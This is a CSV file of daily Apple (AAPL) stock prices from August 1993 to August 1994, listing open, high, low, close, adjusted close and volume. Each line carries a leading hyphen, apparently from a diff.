-1993-08-20,0.9910714030265808,1.0,0.9642857313156128,1.0,0.8432564735412598,24984400.0,AAPL
-1993-08-23,1.0,1.0267857313156128,0.9821428656578064,1.0133928060531616,0.8545497059822083,22794800.0,AAPL
-1993-08-24,1.0089285373687744,1.0267857313156128,0.9910714030265808,1.0,0.8432564735412598,25314800.0,AAPL
-1993-08-25,1.0,1.0089285373687744,0.9553571343421936,0.9732142686843872,0.8206689357757568,36442000.0,AAPL
-1993-08-26,0.9732142686843872,0.9732142686843872,0.9464285969734192,0.9598214030265808,0.8093754053115845,44035600.0,AAPL
-1993-08-27,0.9642857313156128,0.9642857313156128,0.9375,0.9464285969734192,0.7980818748474121,46642400.0,AAPL
-1993-08-30,0.9464285969734192,0.9464285969734192,0.9241071343421936,0.9285714030265808,0.7830235958099365,68434800.0,AAPL
-1993-08-31,0.9464285969734192,0.9553571343421936,0.9285714030265808,0.9464285969734192,0.7980818748474121,31967600.0,AAPL
-1993-09-01,0.9464285969734192,0.9553571343421936,0.9196428656578064,0.9330357313156128,0.7867884039878845,56392000.0,AAPL
-1993-09-02,0.9285714030265808,0.9375,0.9017857313156128,0.9196428656578064,0.7754946351051331,70565600.0,AAPL
-1993-09-03,0.9285714030265808,0.9285714030265808,0.9017857313156128,0.9196428656578064,0.7754946351051331,40734400.0,AAPL
-1993-09-07,0.9285714030265808,0.9642857313156128,0.9196428656578064,0.9375,0.7905527353286743,35884800.0,AAPL
-1993-09-08,0.9375,0.9642857313156128,0.9285714030265808,0.9553571343421936,0.8056107759475708,56658000.0,AAPL
-1993-09-09,0.9553571343421936,0.9642857313156128,0.9285714030265808,0.9285714030265808,0.7830235958099365,37382800.0,AAPL
-1993-09-10,0.9375,0.9375,0.90625,0.9375,0.7905527353286743,33622400.0,AAPL
-1993-09-13,0.9375,0.9464285969734192,0.8839285969734192,0.9017857313156128,0.7604363560676575,63946400.0,AAPL
-1993-09-14,0.8660714030265808,0.8928571343421936,0.8571428656578064,0.8660714030265808,0.730320155620575,69160000.0,AAPL
-1993-09-15,0.875,0.8928571343421936,0.8392857313156128,0.875,0.7378491759300232,64430800.0,AAPL
-1993-09-16,0.8660714030265808,0.8928571343421936,0.8660714030265808,0.8839285969734192,0.745378315448761,21490000.0,AAPL
-1993-09-17,0.8705357313156128,0.9107142686843872,0.8660714030265808,0.9017857313156128,0.7604363560676575,43008000.0,AAPL
-1993-09-20,0.9017857313156128,0.9107142686843872,0.8839285969734192,0.8883928656578064,0.7491426467895508,27759200.0,AAPL
-1993-09-21,0.8839285969734192,0.9017857313156128,0.8526785969734192,0.875,0.7378491759300232,36624000.0,AAPL
-1993-09-22,0.8660714030265808,0.9107142686843872,0.8660714030265808,0.9107142686843872,0.7679654955863953,27622000.0,AAPL
-1993-09-23,0.9107142686843872,0.9107142686843872,0.875,0.8839285969734192,0.745378315448761,32737600.0,AAPL
-1993-09-24,0.8928571343421936,0.9017857313156128,0.875,0.8928571343421936,0.7529073357582092,19143600.0,AAPL
-1993-09-27,0.8928571343421936,0.9017857313156128,0.8660714030265808,0.8839285969734192,0.745378315448761,28294000.0,AAPL
-1993-09-28,0.8839285969734192,0.8928571343421936,0.8660714030265808,0.8839285969734192,0.745378315448761,23637600.0,AAPL
-1993-09-29,0.8660714030265808,0.8883928656578064,0.8482142686843872,0.8526785969734192,0.7190266251564026,59186400.0,AAPL
-1993-09-30,0.8571428656578064,0.8571428656578064,0.8214285969734192,0.8348214030265808,0.7039682865142822,68726000.0,AAPL
-1993-10-01,0.8125,0.8214285969734192,0.8035714030265808,0.8125,0.6851457357406616,83997200.0,AAPL
-1993-10-04,0.8080357313156128,0.8214285969734192,0.7857142686843872,0.8125,0.6851457357406616,48210400.0,AAPL
-1993-10-05,0.8214285969734192,0.8571428656578064,0.8214285969734192,0.8392857313156128,0.7077327966690063,44077600.0,AAPL
-1993-10-06,0.8482142686843872,0.8571428656578064,0.8348214030265808,0.84375,0.71149742603302,43820000.0,AAPL
-1993-10-07,0.8392857313156128,0.8482142686843872,0.8125,0.8214285969734192,0.6926746964454651,33726000.0,AAPL
-1993-10-08,0.8303571343421936,0.8303571343421936,0.7946428656578064,0.8080357313156128,0.681381106376648,34851600.0,AAPL
-1993-10-11,0.8125,0.8571428656578064,0.8125,0.8482142686843872,0.7152621746063232,40286400.0,AAPL
-1993-10-12,0.8571428656578064,0.8928571343421936,0.8482142686843872,0.8571428656578064,0.7227910161018372,76585600.0,AAPL
-1993-10-13,0.8660714030265808,0.8660714030265808,0.8392857313156128,0.8571428656578064,0.7227910161018372,44251200.0,AAPL
-1993-10-14,0.8571428656578064,0.875,0.8392857313156128,0.8482142686843872,0.7152621746063232,40171600.0,AAPL
-1993-10-15,0.9910714030265808,1.0178571939468384,0.9553571343421936,1.0089285373687744,0.8507854342460632,238812000.0,AAPL
-1993-10-18,1.0,1.0267857313156128,0.9910714030265808,1.0133928060531616,0.8545497059822083,83249600.0,AAPL
-1993-10-19,1.0089285373687744,1.0178571939468384,0.9732142686843872,0.9910714030265808,0.8357269763946533,53393200.0,AAPL
-1993-10-20,1.0,1.0089285373687744,0.9732142686843872,0.9910714030265808,0.8357269763946533,34602400.0,AAPL
-1993-10-21,0.9821428656578064,1.1160714626312256,0.9732142686843872,1.0803571939468384,0.911017894744873,156777600.0,AAPL
-1993-10-22,1.0892857313156128,1.125,1.0625,1.0803571939468384,0.911017894744873,99019200.0,AAPL
-1993-10-25,1.0803571939468384,1.0892857313156128,1.0580357313156128,1.0714285373687744,0.9034888744354248,54782000.0,AAPL
-1993-10-26,1.0625,1.0714285373687744,1.0357142686843872,1.0625,0.8959599137306213,55619200.0,AAPL
-1993-10-27,1.0714285373687744,1.1517857313156128,1.0625,1.1339285373687744,0.9561920762062073,114766400.0,AAPL
-1993-10-28,1.1339285373687744,1.1517857313156128,1.1071428060531616,1.1071428060531616,0.933604896068573,61115600.0,AAPL
-1993-10-29,1.1071428060531616,1.1339285373687744,1.0892857313156128,1.0982142686843872,0.9260761141777039,34216000.0,AAPL
-1993-11-01,1.0982142686843872,1.125,1.0803571939468384,1.125,0.9486634135246277,26493600.0,AAPL
-1993-11-02,1.1160714626312256,1.1785714626312256,1.1071428060531616,1.1696428060531616,0.9863083958625793,56061600.0,AAPL
-1993-11-03,1.1785714626312256,1.1785714626312256,1.1071428060531616,1.1294642686843872,0.9524275660514832,44240000.0,AAPL
-1993-11-04,1.125,1.1517857313156128,1.0982142686843872,1.1517857313156128,0.9712505340576172,46342800.0,AAPL
-1993-11-05,1.1383928060531616,1.1517857313156128,1.0982142686843872,1.1383928060531616,0.9599564671516418,94508400.0,AAPL
-1993-11-08,1.1428571939468384,1.1473214626312256,1.0892857313156128,1.0982142686843872,0.9260761141777039,41748000.0,AAPL
-1993-11-09,1.1071428060531616,1.1160714626312256,1.0625,1.0758928060531616,0.9072531461715698,42812000.0,AAPL
-1993-11-10,1.0803571939468384,1.0982142686843872,1.0714285373687744,1.0982142686843872,0.9260761141777039,19244400.0,AAPL
-1993-11-11,1.0982142686843872,1.1428571939468384,1.0892857313156128,1.1205357313156128,0.9448986053466797,35607600.0,AAPL
-1993-11-12,1.125,1.1428571939468384,1.0892857313156128,1.1339285373687744,0.9561920762062073,35915600.0,AAPL
-1993-11-15,1.125,1.1696428060531616,1.125,1.1428571939468384,0.963721752166748,39275600.0,AAPL
-1993-11-16,1.1428571939468384,1.2232142686843872,1.1339285373687744,1.2142857313156128,1.0239540338516235,75770800.0,AAPL
-1993-11-17,1.2142857313156128,1.25,1.1696428060531616,1.1964285373687744,1.0088955163955688,75656000.0,AAPL
-1993-11-18,1.1964285373687744,1.2053571939468384,1.1785714626312256,1.1964285373687744,1.0088955163955688,28602000.0,AAPL
-1993-11-19,1.1785714626312256,1.1964285373687744,1.1607142686843872,1.1785714626312256,0.9974143505096436,30741200.0,AAPL
-1993-11-22,1.1696428060531616,1.1785714626312256,1.1517857313156128,1.1607142686843872,0.9823015928268433,37651600.0,AAPL
-1993-11-23,1.1607142686843872,1.1785714626312256,1.1160714626312256,1.1785714626312256,0.9974143505096436,46541600.0,AAPL
-1993-11-24,1.1696428060531616,1.1964285373687744,1.1651785373687744,1.1785714626312256,0.9974143505096436,22610000.0,AAPL
-1993-11-26,1.1696428060531616,1.1785714626312256,1.1517857313156128,1.1651785373687744,0.9860795736312866,10861200.0,AAPL
-1993-11-29,1.1517857313156128,1.1607142686843872,1.125,1.1339285373687744,0.9596331715583801,24178000.0,AAPL
-1993-11-30,1.1339285373687744,1.1651785373687744,1.125,1.125,0.9520769119262695,28165200.0,AAPL
-1993-12-01,1.1428571939468384,1.1517857313156128,1.1160714626312256,1.125,0.9520769119262695,27804000.0,AAPL
-1993-12-02,1.1339285373687744,1.1428571939468384,1.1071428060531616,1.1339285373687744,0.9596331715583801,25163600.0,AAPL
-1993-12-03,1.1339285373687744,1.1428571939468384,1.1071428060531616,1.125,0.9520769119262695,30116800.0,AAPL
-1993-12-06,1.125,1.1607142686843872,1.1160714626312256,1.1517857313156128,0.9747459292411804,39244800.0,AAPL
-1993-12-07,1.1428571939468384,1.1517857313156128,1.125,1.1517857313156128,0.9747459292411804,15962800.0,AAPL
-1993-12-08,1.1428571939468384,1.1517857313156128,1.125,1.1383928060531616,0.9634115695953369,9898000.0,AAPL
-1993-12-09,1.1339285373687744,1.1428571939468384,1.0625,1.0714285373687744,0.9067398905754089,45690400.0,AAPL
-1993-12-10,1.0803571939468384,1.0892857313156128,0.9910714030265808,1.0089285373687744,0.8538469672203064,124314400.0,AAPL
-1993-12-13,1.0089285373687744,1.0535714626312256,0.9910714030265808,1.0535714626312256,0.8916277289390564,61082000.0,AAPL
-1993-12-14,1.0446428060531616,1.0625,1.0357142686843872,1.0401785373687744,0.8802934885025024,73416000.0,AAPL
-1993-12-15,1.0357142686843872,1.0625,1.0357142686843872,1.0625,0.8991840481758118,30970800.0,AAPL
-1993-12-16,1.0535714626312256,1.0625,1.0357142686843872,1.0491071939468384,0.8878498673439026,31592400.0,AAPL
-1993-12-17,1.0535714626312256,1.0625,1.0401785373687744,1.0535714626312256,0.8916277289390564,36288000.0,AAPL
-1993-12-20,1.0446428060531616,1.0625,1.0089285373687744,1.0178571939468384,0.8614033460617065,47258400.0,AAPL
-1993-12-21,1.0178571939468384,1.0267857313156128,0.9732142686843872,0.9821428656578064,0.8311786651611328,62781600.0,AAPL
-1993-12-22,0.9732142686843872,1.0178571939468384,0.9642857313156128,1.0,0.8462907075881958,45343200.0,AAPL
-1993-12-23,0.9732142686843872,0.9732142686843872,0.9464285969734192,0.9732142686843872,0.8236221671104431,56739200.0,AAPL
-1993-12-27,0.9910714030265808,1.0267857313156128,0.9732142686843872,1.0178571939468384,0.8614033460617065,39984000.0,AAPL
-1993-12-28,1.0267857313156128,1.0535714626312256,1.0178571939468384,1.0401785373687744,0.8802934885025024,39874800.0,AAPL
-1993-12-29,1.0446428060531616,1.0446428060531616,1.0178571939468384,1.0178571939468384,0.8614033460617065,26838000.0,AAPL
-1993-12-30,1.0178571939468384,1.0803571939468384,1.0178571939468384,1.0625,0.8991840481758118,78638000.0,AAPL
-1993-12-31,1.0625,1.0803571939468384,1.0446428060531616,1.0446428060531616,0.8840717077255249,40241600.0,AAPL
-1994-01-03,1.0535714626312256,1.0714285373687744,1.0357142686843872,1.0669642686843872,0.9029619097709656,45382400.0,AAPL
-1994-01-04,1.0803571939468384,1.125,1.0714285373687744,1.125,0.9520769119262695,71293600.0,AAPL
-1994-01-05,1.1339285373687744,1.2098214626312256,1.1339285373687744,1.2053571939468384,1.0200825929641724,153034000.0,AAPL
-1994-01-06,1.2053571939468384,1.2142857313156128,1.1607142686843872,1.1696428060531616,0.989858090877533,91627200.0,AAPL
-1994-01-07,1.1428571939468384,1.1875,1.1160714626312256,1.1830357313156128,1.001192331314087,74698400.0,AAPL
-1994-01-10,1.1785714626312256,1.2098214626312256,1.1696428060531616,1.2008928060531616,1.0163049697875977,50397200.0,AAPL
-1994-01-11,1.1964285373687744,1.2053571939468384,1.1339285373687744,1.1383928060531616,0.9634115695953369,88849600.0,AAPL
-1994-01-12,1.1517857313156128,1.1517857313156128,1.0892857313156128,1.0892857313156128,0.9218523502349854,109779600.0,AAPL
-1994-01-13,1.0714285373687744,1.0982142686843872,1.0625,1.09375,0.9256307482719421,132899200.0,AAPL
-1994-01-14,1.0982142686843872,1.1339285373687744,1.0892857313156128,1.1071428060531616,0.9369648098945618,53628400.0,AAPL
-1994-01-17,1.1071428060531616,1.125,1.0714285373687744,1.0848214626312256,0.9180743098258972,36428000.0,AAPL
-1994-01-18,1.0803571939468384,1.0803571939468384,1.0357142686843872,1.0491071939468384,0.8878498673439026,90700400.0,AAPL
-1994-01-19,1.0446428060531616,1.0625,1.0267857313156128,1.0446428060531616,0.8840717077255249,70397600.0,AAPL
-1994-01-20,1.0535714626312256,1.0982142686843872,1.0535714626312256,1.0669642686843872,0.9029619097709656,67020800.0,AAPL
-1994-01-21,1.1875,1.1964285373687744,1.1517857313156128,1.1919642686843872,1.0087484121322632,245033600.0,AAPL
-1994-01-24,1.1875,1.2589285373687744,1.1875,1.25,1.057863473892212,173037200.0,AAPL
-1994-01-25,1.2410714626312256,1.25,1.1875,1.2098214626312256,1.0238606929779053,110583200.0,AAPL
-1994-01-26,1.2053571939468384,1.2142857313156128,1.1875,1.1964285373687744,1.0125261545181274,41451200.0,AAPL
-1994-01-27,1.1964285373687744,1.2232142686843872,1.1785714626312256,1.21875,1.0314172506332397,33062400.0,AAPL
-1994-01-28,1.2232142686843872,1.2410714626312256,1.2053571939468384,1.2142857313156128,1.0276390314102173,34109600.0,AAPL
-1994-01-31,1.1964285373687744,1.2053571939468384,1.1696428060531616,1.1696428060531616,0.989858090877533,59595200.0,AAPL
-1994-02-01,1.1785714626312256,1.1964285373687744,1.1517857313156128,1.1875,1.0049700736999512,39180400.0,AAPL
-1994-02-02,1.1875,1.1875,1.1607142686843872,1.1785714626312256,0.9974143505096436,36612800.0,AAPL
-1994-02-03,1.1785714626312256,1.2008928060531616,1.1607142686843872,1.1964285373687744,1.0125261545181274,34498800.0,AAPL
-1994-02-04,1.1964285373687744,1.25,1.1875,1.1964285373687744,1.0125261545181274,88502400.0,AAPL
-1994-02-07,1.1964285373687744,1.3258928060531616,1.1964285373687744,1.3035714626312256,1.1071704626083374,181361600.0,AAPL
-1994-02-08,1.2857142686843872,1.3035714626312256,1.2589285373687744,1.2767857313156128,1.0844210386276245,71346800.0,AAPL
-1994-02-09,1.2767857313156128,1.3035714626312256,1.2589285373687744,1.2946428060531616,1.0995869636535645,46746000.0,AAPL
-1994-02-10,1.2946428060531616,1.3392857313156128,1.2857142686843872,1.3035714626312256,1.1071704626083374,75507600.0,AAPL
-1994-02-11,1.2946428060531616,1.3392857313156128,1.2946428060531616,1.3214285373687744,1.1223374605178833,41062000.0,AAPL
-1994-02-14,1.3214285373687744,1.3571428060531616,1.3125,1.3214285373687744,1.1223374605178833,61387200.0,AAPL
-1994-02-15,1.3125,1.3392857313156128,1.2946428060531616,1.3258928060531616,1.126129150390625,32443600.0,AAPL
-1994-02-16,1.3392857313156128,1.3392857313156128,1.3125,1.3125,1.1147537231445312,30506000.0,AAPL
-1994-02-17,1.3303571939468384,1.3526785373687744,1.2946428060531616,1.3214285373687744,1.1223374605178833,36288000.0,AAPL
-1994-02-18,1.3035714626312256,1.3214285373687744,1.2946428060531616,1.2946428060531616,1.0995869636535645,37268000.0,AAPL
-1994-02-22,1.2946428060531616,1.3392857313156128,1.2767857313156128,1.3303571939468384,1.1299206018447876,53642400.0,AAPL
-1994-02-23,1.3303571939468384,1.3660714626312256,1.3214285373687744,1.3303571939468384,1.1299206018447876,65133600.0,AAPL
-1994-02-24,1.3214285373687744,1.3303571939468384,1.2946428060531616,1.3080357313156128,1.1109623908996582,49464800.0,AAPL
-1994-02-25,1.3214285373687744,1.3303571939468384,1.2678571939468384,1.2857142686843872,1.0920034646987915,59206000.0,AAPL
-1994-02-28,1.2946428060531616,1.3214285373687744,1.2857142686843872,1.3035714626312256,1.1071704626083374,30956800.0,AAPL
-1994-03-01,1.3125,1.3125,1.2767857313156128,1.2946428060531616,1.0995869636535645,52967600.0,AAPL
-1994-03-02,1.2589285373687744,1.2946428060531616,1.2410714626312256,1.2723214626312256,1.0806283950805664,73536400.0,AAPL
-1994-03-03,1.2767857313156128,1.2946428060531616,1.2678571939468384,1.2767857313156128,1.0844210386276245,47118400.0,AAPL
-1994-03-04,1.2857142686843872,1.3392857313156128,1.2767857313156128,1.3125,1.1147537231445312,56711200.0,AAPL
-1994-03-07,1.3214285373687744,1.3616071939468384,1.3125,1.3526785373687744,1.148878812789917,77599200.0,AAPL
-1994-03-08,1.3571428060531616,1.3571428060531616,1.3125,1.3214285373687744,1.1223374605178833,46513600.0,AAPL
-1994-03-09,1.3080357313156128,1.3392857313156128,1.2857142686843872,1.3392857313156128,1.1375041007995605,62134800.0,AAPL
-1994-03-10,1.3303571939468384,1.34375,1.3125,1.3303571939468384,1.1299206018447876,35940800.0,AAPL
-1994-03-11,1.3214285373687744,1.3482142686843872,1.3125,1.3303571939468384,1.1299206018447876,40460000.0,AAPL
-1994-03-14,1.375,1.375,1.3482142686843872,1.3616071939468384,1.1564624309539795,110426400.0,AAPL
-1994-03-15,1.3660714626312256,1.3660714626312256,1.3303571939468384,1.34375,1.141295313835144,51136400.0,AAPL
-1994-03-16,1.3392857313156128,1.3482142686843872,1.3035714626312256,1.3125,1.1147537231445312,36792000.0,AAPL
-1994-03-17,1.3125,1.3214285373687744,1.2946428060531616,1.3035714626312256,1.1071704626083374,39057200.0,AAPL
-1994-03-18,1.3125,1.3125,1.2767857313156128,1.2991071939468384,1.1033787727355957,55918800.0,AAPL
-1994-03-21,1.2991071939468384,1.3035714626312256,1.2589285373687744,1.2678571939468384,1.0768370628356934,61628000.0,AAPL
-1994-03-22,1.2589285373687744,1.2678571939468384,1.2321428060531616,1.25,1.061670184135437,60706800.0,AAPL
-1994-03-23,1.2589285373687744,1.2678571939468384,1.2232142686843872,1.2544642686843872,1.0654619932174683,54171600.0,AAPL
-1994-03-24,1.2544642686843872,1.2589285373687744,1.2142857313156128,1.2366071939468384,1.0502952337265015,47023200.0,AAPL
-1994-03-25,1.2410714626312256,1.2410714626312256,1.1696428060531616,1.1696428060531616,0.9934201240539551,85909600.0,AAPL
-1994-03-28,1.1785714626312256,1.2142857313156128,1.1696428060531616,1.1875,1.0085865259170532,70644000.0,AAPL
-1994-03-29,1.1875,1.2053571939468384,1.1517857313156128,1.1696428060531616,0.9934201240539551,53379200.0,AAPL
-1994-03-30,1.1607142686843872,1.1875,1.1339285373687744,1.1607142686843872,0.985836386680603,42456400.0,AAPL
-1994-03-31,1.1607142686843872,1.1964285373687744,1.125,1.1875,1.0085865259170532,52264800.0,AAPL
-1994-04-04,1.1517857313156128,1.1875,1.1339285373687744,1.1875,1.0085865259170532,42075600.0,AAPL
-1994-04-05,1.2053571939468384,1.2232142686843872,1.1964285373687744,1.1964285373687744,1.0161701440811157,24474800.0,AAPL
-1994-04-06,1.2142857313156128,1.2142857313156128,1.1696428060531616,1.1964285373687744,1.0161701440811157,32272800.0,AAPL
-1994-04-07,1.1964285373687744,1.2053571939468384,1.1696428060531616,1.1919642686843872,1.0123783349990845,19342400.0,AAPL
-1994-04-08,1.2053571939468384,1.2142857313156128,1.1875,1.1964285373687744,1.0161701440811157,44212000.0,AAPL
-1994-04-11,1.1964285373687744,1.1964285373687744,1.1607142686843872,1.1964285373687744,1.0161701440811157,26706400.0,AAPL
-1994-04-12,1.1919642686843872,1.1919642686843872,1.1339285373687744,1.1428571939468384,0.9706699848175049,34207600.0,AAPL
-1994-04-13,1.1517857313156128,1.1607142686843872,1.1160714626312256,1.1339285373687744,0.9630866646766663,58284800.0,AAPL
-1994-04-14,1.0892857313156128,1.1339285373687744,1.0714285373687744,1.125,0.9555032849311829,55498800.0,AAPL
-1994-04-15,1.1160714626312256,1.125,1.0714285373687744,1.0803571939468384,0.9175868630409241,47087600.0,AAPL
-1994-04-18,1.0892857313156128,1.0892857313156128,1.0446428060531616,1.0580357313156128,0.8986278772354126,57573600.0,AAPL
-1994-04-19,1.0625,1.0714285373687744,1.0178571939468384,1.0357142686843872,0.8796696066856384,41563200.0,AAPL
-1994-04-20,1.0446428060531616,1.0714285373687744,1.0,1.0089285373687744,0.8569195866584778,70462000.0,AAPL
-1994-04-21,1.0178571939468384,1.0892857313156128,0.9642857313156128,1.0580357313156128,0.8986278772354126,102634000.0,AAPL
-1994-04-22,1.1160714626312256,1.1428571939468384,1.0178571939468384,1.0625,0.9024198055267334,174456800.0,AAPL
-1994-04-25,1.0625,1.1071428060531616,1.0535714626312256,1.1071428060531616,0.9403364658355713,89810000.0,AAPL
-1994-04-26,1.125,1.125,1.1071428060531616,1.1160714626312256,0.947920024394989,41056400.0,AAPL
-1994-04-28,1.1071428060531616,1.1160714626312256,1.0625,1.0803571939468384,0.9175868630409241,25118800.0,AAPL
-1994-04-29,1.0714285373687744,1.0892857313156128,1.0625,1.0714285373687744,0.9100029468536377,23696400.0,AAPL
-1994-05-02,1.0714285373687744,1.1160714626312256,1.0714285373687744,1.1071428060531616,0.9403364658355713,30805600.0,AAPL
-1994-05-03,1.1071428060531616,1.1160714626312256,1.0535714626312256,1.0803571939468384,0.9175868630409241,33224800.0,AAPL
-1994-05-04,1.1071428060531616,1.1875,1.0892857313156128,1.1785714626312256,1.001003623008728,91039200.0,AAPL
-1994-05-05,1.1875,1.2053571939468384,1.1517857313156128,1.1741071939468384,0.9972118139266968,72083200.0,AAPL
-1994-05-06,1.1517857313156128,1.1696428060531616,1.1160714626312256,1.1540178060531616,0.9801488518714905,46944800.0,AAPL
-1994-05-09,1.1517857313156128,1.1607142686843872,1.0982142686843872,1.1160714626312256,0.947920024394989,35117600.0,AAPL
-1994-05-10,1.1339285373687744,1.1428571939468384,1.1071428060531616,1.1071428060531616,0.9403364658355713,36710800.0,AAPL
-1994-05-11,1.1071428060531616,1.125,1.0625,1.0803571939468384,0.9175868630409241,36380400.0,AAPL
-1994-05-12,1.0892857313156128,1.0982142686843872,1.0535714626312256,1.0602678060531616,0.9005236029624939,26776400.0,AAPL
-1994-05-13,1.0625,1.0892857313156128,1.0446428060531616,1.0714285373687744,0.9100029468536377,23153200.0,AAPL
-1994-05-16,1.0714285373687744,1.0892857313156128,1.0535714626312256,1.0535714626312256,0.8948363661766052,33846400.0,AAPL
-1994-05-17,1.0625,1.0625,1.0267857313156128,1.0491071939468384,0.8910447955131531,45026800.0,AAPL
-1994-05-18,1.0625,1.0982142686843872,1.0446428060531616,1.09375,0.9289616942405701,30965200.0,AAPL
-1994-05-19,1.0982142686843872,1.1607142686843872,1.0892857313156128,1.1473214626312256,0.9744614958763123,68395600.0,AAPL
-1994-05-20,1.1339285373687744,1.1517857313156128,1.1071428060531616,1.109375,0.942232072353363,24536400.0,AAPL
-1994-05-23,1.1071428060531616,1.1160714626312256,1.0714285373687744,1.0892857313156128,0.9251697659492493,29988000.0,AAPL
-1994-05-24,1.1071428060531616,1.1160714626312256,1.0803571939468384,1.0982142686843872,0.9327531456947327,31612000.0,AAPL
-1994-05-25,1.0803571939468384,1.1339285373687744,1.0714285373687744,1.1160714626312256,0.947920024394989,34028400.0,AAPL
-1994-05-26,1.125,1.125,1.0803571939468384,1.0892857313156128,0.9251697659492493,18258800.0,AAPL
-1994-05-27,1.0803571939468384,1.0982142686843872,1.0535714626312256,1.0691964626312256,0.9116981029510498,27171200.0,AAPL
-1994-05-31,1.0535714626312256,1.0535714626312256,1.0178571939468384,1.0446428060531616,0.890761137008667,64349600.0,AAPL
-1994-06-01,1.0178571939468384,1.0223214626312256,0.9955357313156128,1.0089285373687744,0.8603077530860901,96440400.0,AAPL
-1994-06-02,1.0133928060531616,1.0178571939468384,0.96875,0.9776785969734192,0.8336612582206726,96230400.0,AAPL
-1994-06-03,0.96875,1.0,0.9553571343421936,0.9866071343421936,0.8412745594978333,88421200.0,AAPL
-1994-06-06,0.9821428656578064,0.9910714030265808,0.9642857313156128,0.9776785969734192,0.8336612582206726,31508400.0,AAPL
-1994-06-07,0.9732142686843872,0.9910714030265808,0.9732142686843872,0.9821428656578064,0.8374680280685425,35061600.0,AAPL
-1994-06-08,0.9821428656578064,0.9866071343421936,0.9285714030265808,0.9330357313156128,0.7955944538116455,68541200.0,AAPL
-1994-06-09,0.9151785969734192,0.9642857313156128,0.9107142686843872,0.9642857313156128,0.8222411274909973,73382400.0,AAPL
-1994-06-10,0.96875,0.9776785969734192,0.9419642686843872,0.9464285969734192,0.807014524936676,35683200.0,AAPL
-1994-06-13,0.9419642686843872,0.9709821343421936,0.9419642686843872,0.9642857313156128,0.8222411274909973,23226000.0,AAPL
-1994-06-14,0.9732142686843872,0.9776785969734192,0.9508928656578064,0.9665178656578064,0.8241444826126099,38589600.0,AAPL
-1994-06-15,0.9642857313156128,1.0,0.9598214030265808,0.9933035969734192,0.8469844460487366,39869200.0,AAPL
-1994-06-16,0.9910714030265808,0.9910714030265808,0.9330357313156128,0.9419642686843872,0.8032077550888062,54555200.0,AAPL
-1994-06-17,0.9285714030265808,0.9553571343421936,0.9241071343421936,0.9464285969734192,0.807014524936676,56123200.0,AAPL
-1994-06-20,0.9375,0.9732142686843872,0.9285714030265808,0.96875,0.8260477185249329,49974400.0,AAPL
-1994-06-21,0.9598214030265808,0.9732142686843872,0.9196428656578064,0.9285714030265808,0.79178786277771,60818800.0,AAPL
-1994-06-22,0.9375,0.9553571343421936,0.9285714030265808,0.9375,0.7994011640548706,28464800.0,AAPL
-1994-06-23,0.9375,0.9375,0.8883928656578064,0.8973214030265808,0.765140950679779,50974000.0,AAPL
-1994-06-24,0.8973214030265808,0.9330357313156128,0.8839285969734192,0.9146205186843872,0.779891848564148,73214400.0,AAPL
-1994-06-27,0.9017857313156128,0.9375,0.8794642686843872,0.9375,0.7994011640548706,63988400.0,AAPL
-1994-06-28,0.9375,0.96875,0.9151785969734192,0.9553571343421936,0.8146277666091919,43556800.0,AAPL
-1994-06-29,0.9553571343421936,0.96875,0.9241071343421936,0.9330357313156128,0.7955944538116455,33891200.0,AAPL
-1994-06-30,0.9375,0.9598214030265808,0.9375,0.9464285969734192,0.807014524936676,25432400.0,AAPL
-1994-07-01,0.9419642686843872,0.9464285969734192,0.90625,0.9196428656578064,0.7841742038726807,44819600.0,AAPL
-1994-07-05,0.9151785969734192,0.9553571343421936,0.9151785969734192,0.9464285969734192,0.807014524936676,21462000.0,AAPL
-1994-07-06,0.9375,0.9464285969734192,0.9285714030265808,0.9330357313156128,0.7955944538116455,24346000.0,AAPL
-1994-07-07,0.9241071343421936,0.9642857313156128,0.9107142686843872,0.9575892686843872,0.8165310025215149,42537600.0,AAPL
-1994-07-08,0.9464285969734192,0.9866071343421936,0.9464285969734192,0.9665178656578064,0.8241444826126099,52057600.0,AAPL
-1994-07-11,0.96875,0.9776785969734192,0.9508928656578064,0.9642857313156128,0.8222411274909973,26605600.0,AAPL
-1994-07-12,0.9642857313156128,1.015625,0.9419642686843872,1.0133928060531616,0.8641145825386047,60578000.0,AAPL
-1994-07-13,1.0178571939468384,1.0803571939468384,1.0178571939468384,1.0602678060531616,0.9040842056274414,112565600.0,AAPL
-1994-07-14,1.0580357313156128,1.0625,1.0089285373687744,1.0223214626312256,0.8717278838157654,45166800.0,AAPL
-1994-07-15,1.0083705186843872,1.0223214626312256,0.9821428656578064,1.0089285373687744,0.8603077530860901,23741200.0,AAPL
-1994-07-18,1.0044642686843872,1.0357142686843872,1.0,1.0133928060531616,0.8641145825386047,19107200.0,AAPL
-1994-07-19,1.0223214626312256,1.0267857313156128,0.9776785969734192,0.9888392686843872,0.8431777358055115,29092000.0,AAPL
-1994-07-20,0.9776785969734192,0.9866071343421936,0.9419642686843872,0.9508928656578064,0.810820996761322,54342400.0,AAPL
-1994-07-21,0.9508928656578064,1.0178571939468384,0.9464285969734192,1.0,0.8526944518089294,72368800.0,AAPL
-1994-07-22,1.1294642686843872,1.1417410373687744,1.0714285373687744,1.1071428060531616,0.9440544247627258,196644000.0,AAPL
-1994-07-25,1.1116071939468384,1.1383928060531616,1.0982142686843872,1.1316964626312256,0.9649913907051086,105663600.0,AAPL
-1994-07-26,1.1339285373687744,1.1428571939468384,1.1116071939468384,1.1205357313156128,0.9554745554924011,47202400.0,AAPL
-1994-07-27,1.1160714626312256,1.1205357313156128,1.09375,1.109375,0.9459577798843384,33446000.0,AAPL
-1994-07-28,1.1071428060531616,1.1473214626312256,1.1026785373687744,1.1383928060531616,0.9707013964653015,61328400.0,AAPL
-1994-07-29,1.1383928060531616,1.2142857313156128,1.1383928060531616,1.203125,1.0258980989456177,138941600.0,AAPL
-1994-08-01,1.2008928060531616,1.2053571939468384,1.1696428060531616,1.1919642686843872,1.0163812637329102,57318800.0,AAPL
-1994-08-02,1.1964285373687744,1.2008928060531616,1.15625,1.1629464626312256,0.9916380047798157,67390400.0,AAPL
-1994-08-03,1.1696428060531616,1.1875,1.1473214626312256,1.1830357313156128,1.008768081665039,56711200.0,AAPL
-1994-08-04,1.1830357313156128,1.2053571939468384,1.1830357313156128,1.1875,1.012574553489685,46188800.0,AAPL
-1994-08-05,1.1741071939468384,1.1919642686843872,1.1741071939468384,1.1875,1.012574553489685,21753200.0,AAPL
-1994-08-08,1.1830357313156128,1.2142857313156128,1.1785714626312256,1.2053571939468384,1.0278013944625854,35319200.0,AAPL
-1994-08-09,1.1964285373687744,1.2098214626312256,1.1830357313156128,1.2008928060531616,1.023995041847229,19650400.0,AAPL
